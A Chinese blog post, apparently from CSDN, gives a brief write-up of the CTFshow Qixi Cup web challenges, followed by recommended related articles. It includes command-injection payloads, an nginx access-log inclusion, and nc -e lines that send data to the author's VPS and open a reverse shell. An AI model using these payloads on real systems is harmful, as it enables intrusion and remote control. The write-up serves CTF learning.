CTFSHOW七夕杯web

yu22x yu22x 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 2.2k累计阅读 2.3k平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄7年
关注
原创 最新推荐文章于 2026-03-01 00:11:41 发布 2.2k 阅读 AI 写同款· GEO 优化 ›
ctfshow web学习记录 ctfshow 学习记录 阅读详情

文章目录

web签到

有长度限制
payload

ls />a
nl /*>a

然后访问a即可得到flag

easy_cmd

payload

num1=1;include "/var/log/nginx/access.log";&symbol=-&num2=3

然后就是日志包含那一套
在这里插入图片描述

easy_cmd

通过nc -e向自己的vps传递命令

nc x.x.x.x port -e ls /
nc x.x.x.x port -e cat /secert

也可以直接反弹个shell

nc x.x.x.x port -e /bin/sh

easy_sql

还在看
🌚

标签
#linux #运维 #服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
Colmap参数调优实战：如何通过5个关键设置提升3D重建精度 本文深入探讨Colmap参数调优实战，通过5个关键设置显著提升3D重建精度。重点解析特征匹配参数、BA优化配置、初始化策略、资源分配及动态调整方法，结合量化数据和实际案例，帮助开发者精准优化重建流程，适用于古建筑扫描、无人机航拍等多种场景。 阅读详情

相关推荐

NVIDIA-SMI has failed because it couldn‘t communicate with the NVIDIA driver. 最全解决方案！详细！

真的折磨了我整整一天，从网上的资料到GPT都翻遍了，终于是解决了！以下方案希望能帮助到你们。

weixin_44124632的博客 1万+

ctfshow-web【七夕杯】

ctfshow-web【七夕杯】

记录学习，一起进步 582

DIY电子管耳放实战：12AU7+6V6GT组合的电路设计与调试心得

本文详细分享了DIY电子管耳放的实战经验，重点解析了12AU7与6V6GT经典组合的电路设计、元件选型与调试过程。内容涵盖从核心架构设计、关键元件（如输出变压器、耦合电容）的科学选型，到静态工作点设置、负反馈引入及常见噪声问题的排查，旨在帮助音响DIY爱好者和电子管放大器初学者成功打造一台低失真、高信噪比且富有“胆味”的耳机放大器，享受动手制作的乐趣与温暖音质。

weixin_29230805的博客 555

ctfshow 七夕杯（复现）

最终执行命令的语句是 $num1$symbol$num2 拼接起来的，而且过滤（）不能调用函数，所以根据语言结构是 include、require、echo这种语句，试着去包含文件。这个题可以理解为注入，在整个计算语句中注入我们想要执行的命令语句，只不过是过滤（）之后不能调用函数执行。我开始这样做了，但是最后并没有做出来的原因是：我一直在网站根目录下看有没有生成文件，实际上这条命令执行在api这个目录下，生成的文件也在这个目录下，所以需要到/api这个目录下去寻找是否生成文件。，尝试别的地方，发现。...

as you know, nlp is fantasitc! 2110

【dify】 dify环境变量配置说明

SMTP_SERVER、SMTP_PORT、SMTP_USERNAME、SMTP_PASSWORD、SMTP_USE_TLS、SMTP_OPPORTUNISTIC_TLS：当 MAIL_TYPE 为 smtp 时，SMTP服务器的相关配置。UPLOAD_IMAGE_FILE_SIZE_LIMIT、UPLOAD_VIDEO_FILE_SIZE_LIMIT、UPLOAD_AUDIO_FILE_SIZE_LIMIT：分别为上传图像、视频、音频文件的大小限制（MB）。

tonysh_zds的博客 7357

跟着团子学SAP CO：熟练使用结果分析码实现各个场景下收入成本的匹配（一） KKA2/CJ88

PS模块中对财务顾问最难的点在于项目结算，特别是销售型的项目结算。针对客户型项目结算我列举了以下常见的收入成本匹配的一些场景： （1）在项目执行过程中会多次开票，但由于各期成本浮动很大（如前期可能只涉及一些人工、中期全是比较金额较大的材料费），所以希望开票的时候能通过合理的一些指标进行主营业务成本与主营业务收入的匹配。 （2）项目过程中会多次开票，开票确认主营业务收入时，直接将累计发生的实际成本结转为主营业务成本。 （3）项目过程中虽多次开票，但不确认收入，所有发生的实际成本月末计算为在制品，最后项目一次性

Lucas1211的博客 9536

ctfshow七夕杯web

限制长度命令执行，php伪协议，反弹shell

m0_68074153的博客 2400

Numpy快速入门（np）！看这一篇就够了

Numpy快速入门（np）！看这一篇就够了

weixin_74009895的博客 2679

ctfshow七夕杯web签到wp

ctfshow七夕杯web签到wp

arcuied 469

LVGL9.2移植至正点原子阿波罗STM32F429开发板

LVGL（Light and Versatile Graphics Library）是一个开源的图形库，旨在为嵌入式系统提供高效、灵活的图形用户界面（GUI）解决方案。它具有小巧的内存占用和高性能的渲染能力，支持多种硬件平台，包括单片机、DSP 和 ARM 处理器等。LVGL 支持丰富的控件（如按钮、标签、图标、滚动条等），并提供强大的主题、样式和动画功能，使得开发者能够轻松设计出美观且响应迅速的界面。

m0_51149752的博客 3173

生成模型实战 | 基于Transformer生成音乐

本文介绍了基于Transformer架构的音乐生成方法，将音乐视为一系列事件序列进行处理。与将音乐表示为多维图像的MuseGAN不同，该方法使用类似GPT的仅解码器模型，基于先前事件预测下一个音乐事件。模型使用MIDI格式的钢琴音乐数据，通过分词处理将音符转换为note-on、note-off、time-shift和velocity四种事件类型，共388个独特词元，映射为索引序列后输入网络。训练完成后，可通过调整温度参数控制生成音乐的新颖性，从而创作出风格类似训练数据且连贯逼真的音乐作品。

盼小辉丶的博客 5880

【Web】CTFSHOW 七夕杯 题解

一眼命令拼接，先fuzz一下可以用的字符。过滤了括号，不难想到用include。也可以打临时文件RCE。直接nginx日志包含。直接nc反弹shell。

uuzeray的博客 835

keil工程After Build/Rebuild添加带参.exe实现全流程（2）：带参调用.exe的几种方法

keil工程After Build/Rebuild添加带参.exe实现全流程（2）：带参调用.exe的几种方法。

kevin1499的博客 1617

ctfshow web七夕杯

执行命令没有回显，我们直接写文件就可以了。命令但是不能使用带参数的命令。然后监听端口进行rce即可。那么我们就反弹shell。进行转义之后就会进行。

2301_81040377的博客 794

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0， 兼容Win7/Win10/WinXP，解压就可用。

ctfshow 七夕杯

只能执行较短命令，不能回显，这个时候考虑到写入内容涉及到重定向符这里的话我们可以用ls命令查看根目录，然后把他定向到一个自定义文件中ls / > a此时我们去访问api/a发现在根目录下，我们直接用flag的话又因为字符串长度过长而无法执行，这里的话我们直接用*，用nl命令来读nl /*>b。...

quan9i的博客 601

老版QQ原生表情gif动态

这是老版的QQ表情，不过全是动态的的，Windows照片查看器是不会动的，可以右击用浏览器打开查看，再说一遍是老版的，只是分享给宁愿用老版也要动态的人。

cftshow 七夕杯 web部分WP

别人七夕陪情侣，我在七夕死做题。。。。好吧，先不想别的了，这次七夕杯web前三题还算简单都做出来了，最后一题是关于java sql注入的，java还没学得很好，就没做了，看了群主的直播感觉还是很有难度的，难怪无一人解出。......

绮洛Ki1ro的博客 1253

ssm框架搭建

这个是一个在idea上成功跑起来的ssm框架项目，保存在这里方便以后使用直接下载

ctfshow七夕杯2022

https://pysnow.cn/archives/281/

Pysnow's Blog 1452

CTFshow - 七夕杯复现

CTFshow 七夕杯

Pai_Space 1118

ctfshow七夕杯2022（re）

因为算法逻辑很清楚就是单纯让v5去累加v7而且每次累加的结果赋值给v10。这里需要注意v5的值等于我们输入的字符（v4）去异或0x77。虽然出题人给了md5值但是明显直接去解md5不是出题人的本意。这题是学弟给的思路 贴上学弟的python的脚本。而v10数组的第一个字符就等于我们输入的v4。直接把算法抠出来解密就行了。但我们需要求出v10的值。......

weixin_49764009的博客 944

ctfshow REVERSE re2 萌新赛 内部赛 七夕杯 WP

re2 萌新赛 flag白给 签退 数学不及格  内部赛 批量生产的伪劣产品  来一个派森  好好学习 天天向上  屏幕裂开了 七夕杯 逆向签到  easy_magic 

2301_80313926的博客 1284

ctfshow：easy_eval

ctfshow，新手杯easy_eval ，做题记录

windcandy的博客 899

ctfshow七夕杯复现

得到一个ctfshow，题目说是lsb，猜测是lsb加密隐写，ctfshow为key解密得到。既然是eval就是代码执行，但是又不能用括号，那么只能用不用括号的函数了，那么答案很显然。那么思路有了，要使用include来执行代码，那么显而易见，肯定要用到。然后过滤了一大堆符号，这种就是最直接的提示，没过滤哪个，就用哪个。从题目代码来看，是输入3个值，分别是num1、符合值、num2。但是呢，题目不能用括号和< 随意需要对执行的代码进行编码。得到一个没有后缀的文件，放到010查看。正常的伪协议包含是这样的。.

qq_63928796的博客 977

ctfshow 大牛杯web

文章目录web_checkineasy_unserializeeasy_cms web_checkin 输入 ?code=?><?=`nl%09*` 得到源码 很明显是想让我们条件竞争。 生成文件 ?code=`nl%09/*>b` 开始竞争 import requests import threading import sys session=requests.session() url1="http://ba2bd9c4-6f58-45a1-a637-3cf0140e89c1.c

羽的博客 1万+

ctfshow[七夕杯]sweetheart

限制了申请数量（10个）和申请的大小（0x400），将申请的堆指针放在heap_list + 3 * i 的地址里，程序会在申请一个0x10大小的堆块，用来存放名字，也就是堆块的index，这里读取字符用的是自己写的一个函数readn(),​ 下班回到酒店看到ctfshow七夕杯的比赛，就来玩一玩，只有一道pwn,dreamcat师傅出的2.27的一道堆题，题目还是很有趣的，题目结合真实情景，疯狂星期四v我50!bk(),show()都是常规的释放操作和显示操作，重点看new_one()和buy()函数，.

weixin_51055545的博客 783

CTFShow2021七月赛Web

CTFShow2021七月赛Web warmup $ext = pathinfo($_GET['file'], PATHINFO_EXTENSION); if($ext==='php'){ include $_GET['file']; } 要求文件后缀为php，经过测试可以远程文件包含。VPS上写个php马直接包含即可。 ?file=http://118.31.168.198:39543/feng.php 0=phpinfo(); 存在disable_functi

feng的博客 1270

命令执行（ctfshow）

文章目录介绍PHP命令执行的参数${php代码}assertpreg_replace命令执行的几种常用的符号命令执行的基本绕过 介绍 命令执行：一句话就是没有对用户的提交的数据进行过滤，导致通过一些系统命令获取了一些信息。 PHP命令执行的参数 1.system:执行系统命令，会输出 例子：http://www.dvwa.com/cmd/test.php?cmd=||%20ipconfig 2.exec：exec函数不会将执行后的结果输出，与system功能一样 3.passthru：用

unexpectedthing的博客 3940
上一篇： 2022强网杯web（部分）
下一篇： 2022第五空间WEB&MISC
点赞 4
评论 5
书签 书签 5
yu22x
yu22x
博客等级 码龄7年 3740粉丝 121原创
+ 关注
评论 5
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

yu22x

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值